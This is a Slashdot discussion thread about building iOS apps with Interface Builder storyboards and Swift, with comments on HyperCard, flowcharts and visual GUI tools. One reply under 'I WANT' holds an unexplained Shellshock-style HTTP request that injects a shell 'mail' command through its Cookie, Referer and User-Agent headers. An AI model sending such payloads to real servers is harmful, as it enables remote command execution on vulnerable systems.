Slashdot Mirror

← Back to Stories (view on slashdot.org)

Building Apps In Swift With Storyboards

Posted by samzenpus on from the build-it-better dept.

Nerval's Lobster writes Apple touts the Swift programming language as easy to use, thanks in large part to features such as Interface Builder, a visual designer provided in Xcode that allows a developer to visually design storyboards. In theory, this simplifies the process of designing both screens and the connections between screens, as it needs no code and offers an easy-to-read visual map of an app's navigation. But is Swift really so easy (or at least as easy as anything else in a developer's workflow)? This new walkthrough of Interface Builder (via Dice) shows that it's indeed simple to build an app with these custom tools... so long as the app itself is simple. Development novices who were hoping that Apple had created a way to build complex apps with a limited amount of actual coding might have to spend a bit more time learning the basics before embarking on the big project of their dreams.

69 comments

  1. Swift is MIA in TFA by OzPeter · · Score: 3, Insightful

    Where in TFA is Swift actually used? All I see is a simple Interface Builder example which has nothing do with Swift.

    Are we going to be continually with crappy iOS articles repeating the basics of UI development just because they have the word "Swift" in them or that they are Dice based??

    And another crappy article .. with Swift

    Crappy articles are crappy articles and articles like these are the reason that Netcraft confirms that /. is dying.

    --
    I am Slashdot. Are you Slashdot as well?
    1. Re:Swift is MIA in TFA by Jeremiah+Cornelius · · Score: 1

      You know what's REALLY MIA?

      HyperCard.

      Where is HyperCard on the iPhone, updated for reality of mobile internet? If you want stickiness of an app platform "for the rest of us", this would be a natural. With a stack builder on the target device.

      --
      "Flyin' in just a sweet place,
      Never been known to fail..."
    2. Re:Swift is MIA in TFA by tbuddy · · Score: 2

      This is the first Dice article I've seen linked and it did not disappoint when it came to disappointing. I think anyone who has looked at Mac OS X from even the most casual development end or UI customizing end already knows at least a little Interface Builder. I was using it in the first four releases of OS X to fix poorly designed interfaces just because as a graphic artist things like that drive you crazy and it is just as easy to edit the nibs than to explain to the devs.

      You are absolutely right. This has nothing to do with programming and very little to do with Interface Builder.

      Apple's own docs are way better a starting point than this cringeworthy shameless Dice promotion with third rate screen shots. They could have at least had someone with a bit of experience make the screens so it didn't look like it was done by someone who hasn't ever used the application.

    3. Re:Swift is MIA in TFA by jandrese · · Score: 3, Insightful

      Hypercard is owned by a third party now, and they do offer phone targets for the stacks.

      It's kind of a shame. Hypercard was incredibly close to being a modern web browser before web browsers were invented. All it needed was a way to remotely load pages from a stack over your Appletalk network. Javascript might never have been born since HyperTalk would already be doing the job. People would eventually have to address the grave security concerns, but in the early 90s nobody gave a crap about security on home networks. Of course being a Mac only product would also put a serious crimp in widespread adoption (especially since this is the era where Jobs is at Pixar and NeXT so Apple is floundering badly).

      --

      I read the internet for the articles.
    4. Re:Swift is MIA in TFA by OzPeter · · Score: 1

      This is the first Dice article I've seen linked and it did not disappoint when it came to disappointing.

      There was another one last week that was an "introduction to programming in Swift" - which was neither.

      --
      I am Slashdot. Are you Slashdot as well?
    5. Re:Swift is MIA in TFA by K.+S.+Kyosuke · · Score: 1

      Where is HyperCard on the iPhone, updated for reality of mobile internet?

      It has reincarnated as DynaBook Jr. at VPRI. But you'll have to wait for it.

      --
      Ezekiel 23:20
    6. Re:Swift is MIA in TFA by Anonymous Coward · · Score: 0

      "it did not disappoint when it came to disappointing"

      My God, that is my new favourite phrase. Is it yours?

    7. Re:Swift is MIA in TFA by Moridineas · · Score: 1

      Are we going to be continually with crappy iOS articles repeating the basics of UI development just because they have the word "Swift" in them or that they are Dice based??

      You definitely both hit the nail on the head and answered your own question. The last Dice article on Swift was one of the worst programming articles I've ever read. Thanks to you for mentioning that this is an another Dice article--I'll save myself a waste of time and NOT RTFA.

    8. Re:Swift is MIA in TFA by master_kaos · · Score: 1

      I thought the same thing, I am going to have to keep a mental note

    9. Re:Swift is MIA in TFA by jeremyp · · Score: 1

      It's actually the second article in a series. The first article looks like it had some Swift in it.

      No doubt there will be a new Slashdot story for each subsequent article. Because Swift.

      Development novices who were hoping that Apple had created a way to build complex apps with a limited amount of actual coding might have to spend a bit more time learning the basics before embarking on the big project of their dreams.

      Is anybody at all surprised except, maybe, said novices?

      --
      All I want is a secure system where it's easy to do anything I want. Is that too much to ask ~~ Randall Munroe
  2. I WANT by bondsbw · · Score: 4, Funny

    I want to be able to code this to make a game:


    int main(int argc, const char* argv[])
    {
            CreateGameThatIsSortOfLikeAngryBirdsAndMakeMeMillionsOfDollarsOvernight();
    }

    Anything else is too hard.

    --
    All my liberal friends think I'm a conservative, all my conservative friends think I'm a liberal.
    1. Re:I WANT by Anonymous Coward · · Score: 5, Informative


      int main(int argc, const char* argv[])
      {
              CreateGameThatIsSortOfLikeAngryBirdsAndMakeMeMillionsOfDollarsOvernight();
              return 0;
      }

      FTFY

    2. Re:I WANT by Jeremiah+Cornelius · · Score: 1

      GET /cgi-bin/w3mman2html.cgi HTTP/1.1 Host: <domain> Cookie: () { ignored;};/bin/ -c &lsquo;mail -s hello <address>@gmail.com&rsquo; Referer: () { ignored;};/bin/ -c &lsquo;mail -s hello <address>@gmail.com&rsquo; User-Agent: () { ignored;};/bin/ -c &lsquo;mail -s hello <address>@gmail.com&rsquo;

      --
      "Flyin' in just a sweet place,
      Never been known to fail..."
    3. Re:I WANT by Anonymous Coward · · Score: 0

      An iOS application is not allowed to return. It runs counter to the iOS style guide.
      An application 'may' be killed by the OS when the user returns to the home screen or enters other applications.
      You are required to save state after every user interaction, so that the OS can restart the application from where it left of.

    4. Re:I WANT by Anonymous Coward · · Score: 1

      Well, to be fair, he/she did admit anything else would be too hard.

    5. Re:I WANT by DoofusOfDeath · · Score: 1

      Correction:


      int main(int argc, const char* argv[])
      {
          App * app = LoadFromYear( 1987, "HyperCard" );
          return app->run( argc, argv );
      }

    6. Re:I WANT by K.+S.+Kyosuke · · Score: 1

      A wonderful example of how applications today get written in completely unsuitable languages. (Why not write it in something that can keep the non-derivable part of the application's state without explicit checkpoints woven throughout the whole thing?)

      --
      Ezekiel 23:20
    7. Re:I WANT by Anonymous Coward · · Score: 1

      This is why Pascal's design in more forgiving than C/C#/Java because main() has no return type. Your app returns exit code 0 if no problem has occurred. If your program encounters an error, it can return the correct error code by using the Exit(errorcode) procedure.

    8. Re:I WANT by msobkow · · Score: 1

      And if the details generated are:

      int CreateGameThatIsSortOfLikeAngryBirdsAndMakeMeMillionsOfDollarsOvernight() { ... }

      ?

      --
      I do not fail; I succeed at finding out what does not work.
    9. Re:I WANT by msobkow · · Score: 1

      Doh! I was thinking Erlang, where the result of the last statement in the code is the result returned to the caller. *LOL*

      --
      I do not fail; I succeed at finding out what does not work.
    10. Re:I WANT by msobkow · · Score: 1

      This is what you want. :P

      --
      I do not fail; I succeed at finding out what does not work.
    11. Re:I WANT by SB2020 · · Score: 1

      Surely by now we should have kinect based stuff to turn handwaving into working code?

    12. Re:I WANT by jeremyp · · Score: 1

      This is Swift. You just need a file called main.swift with this in it:

      CreateGameThatIsSortOfLikeAngryBirdsAndMakeMeMillionsOfDollarsOvernight()

      See... Swift is so good it's reduced your code size by 80% (including the missing line to return 0).

      --
      All I want is a secure system where it's easy to do anything I want. Is that too much to ask ~~ Randall Munroe
  3. Limited coding isn't everyone's goal by TechyImmigrant · · Score: 2

    Building complex apps without coding doesn't seem like a useful goal. At some point you have to express the program logic and coding has always proven to be the best way.

    The dividing line between graphical tool and actual code seems to have been a shifting one over the years. So when you go to a new environment or language where there's a substantial GUI component to building an app, the desire to see it all in code is strong. What actually happens when you add that button? I expect to be able to do it either through code of GUI and if they can't tell me what the GUI did in code, then I'm left clueless as to the underpinnings and so it becomes hard to think through the implications of design decisions.

    I tried Swift recently. Swift was easy enough. But Swift+Xcode was impenetrable.

    --
    I should use this sig to advertise my book ISBN-13 : 978-1501515132.
    1. Re:Limited coding isn't everyone's goal by Anonymous Coward · · Score: 1

      HTML5 is really the only language out there these days that is still used widely and geared towards human readable UI code so you can actually see the functional and visual elements in code easily.

      I really wish one of the other languages geared towards building native applications took a similar approach. Having to learn each IDE's visual interface builder for each platform you may develop essentially the same application for is intolerable. The alternative being app builder kits from various other 3rd parties but these tend be woefully incomplete and software islands.

    2. Re:Limited coding isn't everyone's goal by Maxwell · · Score: 2

      Building complex apps without coding doesn't seem like a useful goal. At some point you have to express the program logic and coding has always proven to be the best way.

      The dividing line between graphical tool and actual code seems to have been a shifting one over the years. So when you go to a new environment or language where there's a substantial GUI component to building an app, the desire to see it all in code is strong. What actually happens when you add that button? I expect to be able to do it either through code of GUI and if they can't tell me what the GUI did in code, then I'm left clueless as to the underpinnings and so it becomes hard to think through the implications of design decisions.

      I tried Swift recently. Swift was easy enough. But Swift+Xcode was impenetrable.

      My micro processor prof insisted that C was an abomination and that code was easier to follow in native assembly. (Mostly Motorola, some TI)

      There is a big chunk of people who have no desire to see the assembler, or the massively abstract C++ code that created it. Anyone who uses Access for example. I had a tool Palm Toolbox that made simple apps for PalmOS way back when. It was limiting, because I know better, but you could do a lot without ever looking at the real code.

      Be prepared for multiple variations of the Fart Machine!

    3. Re:Limited coding isn't everyone's goal by Anonymous Coward · · Score: 0

      What actually happens when you add that button? I expect to be able to do it either through code of GUI and if they can't tell me what the GUI did in code...

      This is the main conceptual gap between, for example, Visual Studio and Interface Builder. In Visual Studio, you add a button, and it creates code to generate the button. In Interface Builder, the button object is created and then the GUI objects are serialised at build time. Apple documentation and all Cocoa books I've read insist on calling this "freeze dried" instead of "serialised", but that's effectively what it is.

      In that sense, there isn't any code to add that button - it was created at design time and only deserialised when the nib is loaded.

      You can absolutely create buttons at runtime, and it's pretty much what you'd expect - create an instance, set the superview, set the position and size... it's really dull, and once you've done it once or twice by hand, you realise that it didn't really have any impact on what you needed to do, and then you can get on and use Interface Builder and stop worrying about irrelevant details.

      But I think I'm like you - I need to do it the slow, stupid way while learning to get my head around how the system is *meant* to hang together, and there aren't a lot of tutorials dedicated to doing that the right way.

    4. Re:Limited coding isn't everyone's goal by Anonymous Coward · · Score: 0

      More practically, what happens when the IDE has a bug and hoses your app's interface? That happened to me when I was making up a last-minute app to help out a friend. Undo didn't un-break it, and there's the always-on auto-save and the lack of code to look at, so there was nothing to do but make a new project and import the code. Thankfully it was just a favor and a tiny app, so it didn't matter that much, but it was enough to make me realize that if I'm putting in a huge amount of time making an app, I'm not going to have my entire GUI reliant on something that I cannot fix if it breaks. (I make back-ups and use version control, but I've been lucky enough to never use them, and don't think it's smart to move to a model where they're my first and only lines of defense for an IDE bug.)

    5. Re:Limited coding isn't everyone's goal by K.+S.+Kyosuke · · Score: 1

      Has your micro processor prof heard of Forth? (Or was he actually a Forth chip guy? That would have been some twist! :-))

      --
      Ezekiel 23:20
  4. So Hypercard is coming back? by AltGrendel · · Score: 1

    That would be cool.

    --
    The simple truth is that interstellar distances will not fit into the human imagination

    - Douglas Adams

  5. You say storyboards, I say flowcharts by __aaclcg7560 · · Score: 1

    When I took Introduction to Computers in the early 1990's, the class had to draw flowchart diagrams to demonstrate our logic before we could program a DOS batch file. When I went back to school to learn computer programming in mid 2000's, all we needed was a napkin to write pseudocode before programming a web app. Kids today have it too easy.

    1. Re:You say storyboards, I say flowcharts by preaction · · Score: 2

      I'm wondering if those flowcharts actually do help people learn basic program flow and basic boolean logic. After a while, you don't need them, because you can think like the machine. But, for getting started, it might be a good step and encourage thought before shotgun coding.

    2. Re:You say storyboards, I say flowcharts by Anonymous Coward · · Score: 0

      i often still start with flow charts to visualize my idea before i begin. I tend to start with a high level flow chart then each block along the way gets expanded then finally turned into code.

      It gets messy if you don't take the time to plan on larger projects

    3. Re:You say storyboards, I say flowcharts by __aaclcg7560 · · Score: 2

      I haven't done formal flowcharts in ages, but I probably have the plastic template from college stashed in a storage box somewhere. If I'm having trouble with a piece of code, I might make a diagram to visually walkthrough the code and figure out where I'm getting stuck.

    4. Re:You say storyboards, I say flowcharts by BasilBrush · · Score: 2

      What flowcharts encourage is programming with gotos. They became outdated back in the days when structured programming came in. JSP became the thing. Then later various object diagrams being more or less standardised as UML.

      The first job interview I had back in 1984 they asked me to draw a flowchart for a certain algorithm. I told them they were outdated and gave them a JSP diagram instead. And I got the job as a result. That's how out of data flowcharts are.

  6. The complexity has to go somewhere by jandrese · · Score: 2

    The dream of some fancy tool that builds a complex app for you (since you're an "ideas person", not a programmer) is always going to be a fantasy. The more work a tool does for you, the more specialized it has to be because there is only so much complexity a person can put into a project per hour they work on it. Either you supply that complexity, or the tool builder does, and there's an upper limit to how complex a tool can be before learning it harder than just learning a programming language and solving the problem yourself.

    Someone has to do the work, and if you have grand visions the work will be hard.

    --

    I read the internet for the articles.
    1. Re:The complexity has to go somewhere by i+kan+reed · · Score: 1

      Well, I've always had the dream of a tool that has a natural language dialog with the the user.

      You know the kind that asks the niggling questions us devs always have for "ideas" people. Like "Who's going to provide the map data for your store layout application?" And "Can this field be blank if that one isn't?" Or "Okay, what do you mean by 'shiny animation' exactly?"

      I suspect such a thing could be done with a team of 30 AI experts and a huge machinery budget, and careful observation of how actual software projects are developed in the real world as some kind of training. And slightly better speech recognition.

    2. Re:The complexity has to go somewhere by jandrese · · Score: 2

      And 30 years? AIs that can think through solutions and look for problems like that are very hard to make, especially in the general case. A lot of AI these days is still little more than massaged Google searches.

      --

      I read the internet for the articles.
    3. Re:The complexity has to go somewhere by blue9steel · · Score: 4, Insightful

      The dream of some fancy tool that builds a complex app for you (since you're an "ideas person", not a programmer) is always going to be a fantasy.

      Always is a long time. Try these statements on for size as a comparison:

      "I also lay aside all ideas of any new works or engines of war, the invention of which long-ago reached its limit, and in which I see no hope for further improvement..." - Sextus Julius Frontinus 84 C.E.

      "What can be more palpably absurd than the prospect held out of locomotives traveling twice as fast as stagecoaches?" - The Quarterly Review 1825

      "The abolishment of pain in surgery is a chimera. It is absurd to go on seeking it... Knife and pain are two words in surgery that must forever be associated in the consciousness of the patient." - Dr. Alfred Velpeau 1839

      "Heavier-than-air flying machines are impossible." -Lord Kelvin 1895

      "There is not the slightest indication that nuclear energy will ever be obtainable. It would mean that the atom would have to be shattered at will." - Albert Einstein, 1932.

      Consider if you will:

      An assembler is a way of automatically creating machine code

      A compiler is a way of automatically creating assembly code

      A ______ is a way of automatically creating program code

      Is there some reason we shouldn't expect the blank to be filled in and efforts to move up the stack yet again? As computers become more powerful we can afford ever more complex layers of abstraction.

    4. Re:The complexity has to go somewhere by BasilBrush · · Score: 1

      Don't hold you breath. You can only ask those pertinent questions because you can imagine the app given a very incomplete outline. Artificial Imagination is even further away than Artificial Intelligence.

    5. Re: The complexity has to go somewhere by Anonymous Coward · · Score: 0

      Einstein quote is completely factual and responsible.

    6. Re:The complexity has to go somewhere by Anonymous Coward · · Score: 0

      An assembler is a way of automatically creating machine code from assembly code

      A compiler is a way of automatically creating assembly code from program code

      A ______ is a way of automatically creating program code from a design document

      A ______ is a way of automatically creating a design document from a requirements document

      A ______ is a way of automatically creating a requirements document from an idea

      There are a few more steps before you can take the programmer out of the picture. Even then, the average "idea guy" can probably be replaced by a Markov Chain generator before you get there.

      The relevant XKCD is the Well of Truth one.

      You'll never find a programming language that frees you from the burden of clarifying your ideas.

    7. Re:The complexity has to go somewhere by Half-pint+HAL · · Score: 1

      Indeed -- the complexity needs to go somewhere. The problem with all languages is that the complexity is in the learning and in the expressing, because they're all stuck in a paradigm rut built around a nonsensical definition of "human readable code". We need a computer to view our code. A plaintext editor is a computer program. A non-plaintext editor would make it more readable. Suddenly syntax highlighting would be part of the syntax, not something added on after the fact. The syntactic whitespace vs explicit block delimiters argument would be moot, as the editor would automatically manage on-screen spacing based on its understanding of the flow-control structure of the code. Formulas could be embedded within code in a single line of mathematical notation, which is much more readable than ten lines of x=...; y=...; z=... ad nauseam. I've spent half a day at a time on coding up expressions and transforms that are trivially obvious, just from having to step through everything. Would the formula converter be optimal speed-wise? No, but you could optimise later, and the debugger could use the mathematical notation for automatic unit testing of your optimised implementation. In the meantime, you get a functionally complete prototype of your software quicker.

      The other thing a non-plaintext language could do is do away with the consecutive nature of procedure definitions etc (already abstracted away in many modern event-driven systems because of their sheer irrelevance. Why am I still scrolling back and forth between segments of my code? Why can't I click on a function call and see it inlined, like a virtual macro expansion?

      --
      Got them moderator blues I blieve I walk out the do', With these mod-points I been gettin', I 'most never post no mo'
    8. Re:The complexity has to go somewhere by i+kan+reed · · Score: 1

      But how do I imagine them? It's not from nowhere. It's from a recurring familiarity with what goes wrong in software development. I didn't just get a programming language down and suddenly grasp the idea of field interdependency, did I? I mean, admittedly, it was before I got a job in the field, but the first time you try to save something where X interferes with Y and it crashes your program teaches you the concept.

    9. Re:The complexity has to go somewhere by BasilBrush · · Score: 1

      If it's as limited as questions for common defects in an existing app, that's not so hard. But a system that can actually create an app by asking questions is much harder - unless the possible kids of apps are very limited in scope, as with expert systems and the 3GL fad of the 1980s.

  7. More worrying implication of devaluation by seoras · · Score: 1

    When I started writing iOS Apps it was at the same time as Interface Builder was released.
    As a beginner being able to visualise what was going on made the learning curve a walk up a hill instead of mountaineering.
    Even though I've been doing it a while now I still use Storyboards but 50% of the time I find myself removing a view and codifying it.
    As a design tool it is wonderful for prototyping.

    There was a lot of resistance from the established iOS developers to IB when it first appeared.
    I remember being scolded on stockoverflow for using IB and told that I should learn the hard way like they had done.
    With Swift I see some parallels, I don't want to have to learn a new language even though it might be simpler and compiles faster code (allegedly).
    It raise my hackles because of the time and knowledge I have invested in the status quo to date (ObjC).
    In addition to the prospect of Apple ceasing support for ObjC in future Xcode releases forcing me to re-write my Apps in Swift.
    I'm sure Swift will make the learning curve easier as IB did for me when I started.

    There's a much bigger problem with all this which goes beyond Apple, Xcode & Swift.
    As App development and programming becomes simpler and more dumbed down it has the effect of increasing the number of people who are capable of producing a non-complex App.
    That drives down the value of an App developer.
    It's hard enough making anything from App's without lowering the value in them further.

    1. Re:More worrying implication of devaluation by blueshift_1 · · Score: 1

      As App development and programming becomes simpler and more dumbed down it has the effect of increasing the number of people who are capable of producing a non-complex App. That drives down the value of an App developer.

      While I agree this is true on the surface, it'll only really effect the short term. It's basically the same as the dotcom bubble when anyone that could spell java could get a job... but all bubbles burst and the people with the depth of knowledge will last in positions.

    2. Re:More worrying implication of devaluation by dgatwood · · Score: 1

      When I started writing iOS Apps it was at the same time as Interface Builder was released.

      Wow. You were writing iOS apps in the mid-1980s? Talk about being ahead of the curve. Do you mean when storyboards were released?

      --

      Check out my sci-fi/humor trilogy at PatriotsBooks.

    3. Re:More worrying implication of devaluation by EMB+Numbers · · Score: 1

      You are mistaken. Interface Builder ships with the original NeXT cube in 1988.

  8. They are right to say storyboard ... by perpenso · · Score: 4, Informative

    "Storyboards" are Apple's name for a user interface layout tool, its not a logic flow tool so it is not really like flowcharts. A storyboard is basically a view pane where you layout the visual elements and controls, and define some constraints involved in repositioning and resizing for different resolutions. There is very limited flow control. Things like clicking on this button brings up a different storyboard.

    In short storyboards let you mock up a user interface, including one view launching a different view. If you are nostalgic for the 90s think back to Microsoft's Visual Studio GUI layout and glue code generation tools. Its pretty much the same sort of stuff.

    1. Re: They are right to say storyboard ... by Anonymous Coward · · Score: 0

      Aah, not exactly. Storyboards are a slightly awkard combination of navigation logic (expressed with arrows going between screens etc,) and layout of the individual screens as you describe. But you can also layout one screen (view) at a time using traditional Interface Builder documents (XIB/NIB). This is conceptually unchanged since Nextstep's interface builder. But storyboards are relatively new.

    2. Re:They are right to say storyboard ... by i.r.id10t · · Score: 1

      Ah, so it implements the one thing I really miss about using VB for quick utility programs - drag and drop your GUI design, create buttons, etc. and then only write code for the various events (like heyThisButtonGotClicked(), etc). After that Java seemed like it took pages of code just to draw a button on a field to click..

      --
      Don't blame me, I voted for Kodos
    3. Re: They are right to say storyboard ... by Anonymous Coward · · Score: 0

      I agree...I used VB in 2000 to frame the front end of a software app that a developer partner completed and we won Plant Engineering Gold product of the year....I find myself back in a MS machine OEM shop...with a need to assist based on customer needs...what do folks use for front ends now for MS dev?

  9. Flowcharts are documentation ... by perpenso · · Score: 2

    Flowcharts are documentation. And they can be pretty concise and more importantly visual.

    The visualization aspect is sometimes important. It can literally be the big picture that helps one understand a process. Also visualization can help with debugging something missing at the design level.

    Now I haven't used my plastic templates or some software package to generate flowcharts since undergrad days decades ago, but I still on occasion grab a yellow pad of paper and a pencil to informally (ok that was generous, crudely would be more accurate) sketch out some algorithm, data flow, logic, etc. To me its helpful when thinking about some things, planning some things, etc.

  10. So let me get this straight by Anonymous Coward · · Score: 1

    It's simple to build an app as long as the app is simple?

    Well holy **** what a revelation!

  11. Buildings apps with _____ using _____ by ArhcAngel · · Score: 1

    This sounds a lot like building apps with LabView using flowcharts. Or perhaps building apps in Visual Basic using widgets. Was there something revolutionary about SWIFT in this regard?

    --
    "A person is smart. People are dumb, panicky dangerous animals and you know it." - K
    1. Re:Buildings apps with _____ using _____ by EETech1 · · Score: 1

      We use Stateflow and Simulink to generate the software for ECUs

  12. XCode aint there yet.... by FlyingGuy · · Score: 0

    As someone who is a programmer, but had never had an Apple Desktop or Laptop until my wife and son got me one for Christmas this pas year I have to say X-Code needs more polish.

    I say this because I was / Am a heavy user of Delphi ( Yup Object Pascal ). You might think OP is a toy but you could not be more wrong, but that is another argument. What I can say definitively is that Borland and now Embarcadero know how to do an IDE better then just about anything I have ever seen.

    Apple needs to take a page out of their playbook. In Delphi when you add a component to a form, it adds ALL the code that you need to the unit that is handling the form. A simple double click on the element adds the code shell for that particular action, either from the object browser or from the form. You simply write the code that makes that action do what it needs to do, nothing else.

    Now contrast this with X-Code... It will let you drag a component onto a form, in iOS Mavericks or whatever, but after that you have to and start screwing around in .h files, adding this adding that just so that element will be recognized and will compile. Couple that with the syntax of Objective C and you have a program that can only be written by someone who fairly in-depth knowledge of Objective C. I mean not they should not have to have that knowledge but it should not be a requirement to do basic forms and the like.

    As it is mentioned, using the "Story Board" concept you can only write very simple apps that don't accomplish a whole lot. So while Apple is getting there they have a lot of ground to cover.

    --
    Hey KID! Yeah you, get the fuck off my lawn!
  13. As it should be... by Ramley · · Score: 1

    ... at least IMO.

    Background: I have been using XCode 6.6 (I think) for about a month now, as swift sounded intriguing. I wasn't a huge fan of obj-c, but I worked with it for a mobile app, so swift sounded like a potentially nice evolution...

    One of the plus's of the IDE with Mac OS X is the ability to quickly assemble a UI. I would much prefer being able to work under the hood with the code for the rest of the app... it helps me understand the language, and how everything works together... as well as a sense of control, knowing it does what I intended for it to do.

    If you want to create a complex app, it seems that one should know what they're doing... especially if it is to be used for more than personal use... for so, so many reasons.

  14. AppWare 2.0 by bazaarmunchkin · · Score: 1

    What took the devs this long? I've been waiting for decades!!

  15. Swift != Interface Builder by maccodemonkey · · Score: 1

    "But is Swift really so easy (or at least as easy as anything else in a developer's workflow)? This new walkthrough of Interface Builder (via Dice) shows that it's indeed simple to build an app with these custom tools... so long as the app itself is simple."

    What? Seriously Slashdot, if you're going to have Apple articles, at least have submitters that have half a clue what they're talking about. "How good is Swift? Let's find out by using Interface Builder which is not Swift at all!"

    Swift and Interface Builder can be used together, but they're not strongly related components. They're related like a WYSIWYG web tool, like Dreamweaver, and JavaScript. They're both helpful to get what you need done, but they don't replace each other. To give you an idea of how true that is, Interface Builder first shipped in 1986. Now, it's advanced a lot since then, but it's almost 20 years older than Swift, so obviously it's had a long life away from Swift.

    Duh you can't create a big complicated app with only Interface Builder like you can't create a big fancy web app with just the visual components of Dreamweaver. You've got get down and actually write some code, which you know, is what Swift is, Swift being a coding language and all. So I find it really odd that this post is talking about reviewing a programming language in the context of trying to use a completely different tool that is not that programming language.

  16. NOT like Microsoft's Visual Studio GUI layout and by EMB+Numbers · · Score: 2

    Interface Builder has not changed in any fundamental ways since it debuted in 1988 with NeXTstep.
    Unlike crappy Microsoft tools for the 90's, it is NOT a screen drawing tool. It is an object instantiation and configuration tool. You set the properties and relationships between live objects graphically. The objects are then archived (serialized) and later unarchived (deserialized) into your running iOS app.

    Watch this from 1992 http://www.youtube.com/watch?v...
    Steve Jobs demonstrates Interface Builder starting 23 minutes into the video. Also note that Windows 3.1 shipped in 1992.

    Just for fun, here is NeXTstep from 1988 http://www.youtube.com/watch?v...

  17. Re:NOT like Microsoft's Visual Studio GUI layout a by EMB+Numbers · · Score: 1

    Another Steve Jobs Interface Builder demo from 1990 http://www.youtube.com/watch?v...

  18. Re:NOT like Microsoft's Visual Studio GUI layout a by Bogtha · · Score: 1

    Interface Builder has not changed in any fundamental ways since it debuted in 1988 with NeXTstep.

    I'd say storyboards and auto layout are pretty big changes. Before storyboards, nibs were basically just view hierarchies and whichever other objects you threw in there. With storyboards, they can contain an entire application's user interface, including the transitions between different screens.

    it is NOT a screen drawing tool. It is an object instantiation and configuration tool.

    It's both. It's a screen drawing tool that uses object instantiation and configuration to accomplish that.

    --
    Bogtha Bogtha Bogtha
  19. Swiftly regressing... by Anonymous Coward · · Score: 0

    When we become Swift developers, do we get a free packet of crayons to write our code in addition to the storyboards? Also, does it come with a snack and naptime?

  20. I'm sorry by slashdice · · Score: 1

    SlashDice manager here. I'd like to apologize for this shitty article. I thought we fired Nerval's Lobster but it turns he's the CEO's retarded kid or something. Apparently, he didn't use to hire him! Lesson learned! Dice: slightly better than hiring the CEO's retarded kid.

    --
    Copyright (c) 1990 - 2014 Dice. All rights reserved. Use of this comment is subject to certain Terms and Conditions.
  21. XCode aint there yet.... by Anonymous Coward · · Score: 0

    YES!! I coded in those days and I really miss the auto boiler plate code generation for UI so you can just double click, or click the appropriate action and begin coding what the action does. Even though it's easy to connect a button's action to the method, this is done very often I don't know why such code is no longer auto generated in new tools. Also the whole Sensors/Actuators paradigm for UI seems to be entirely forgotten. There is new good stuff being introduced, and strangely some old good stuff that would still be good is being forgot.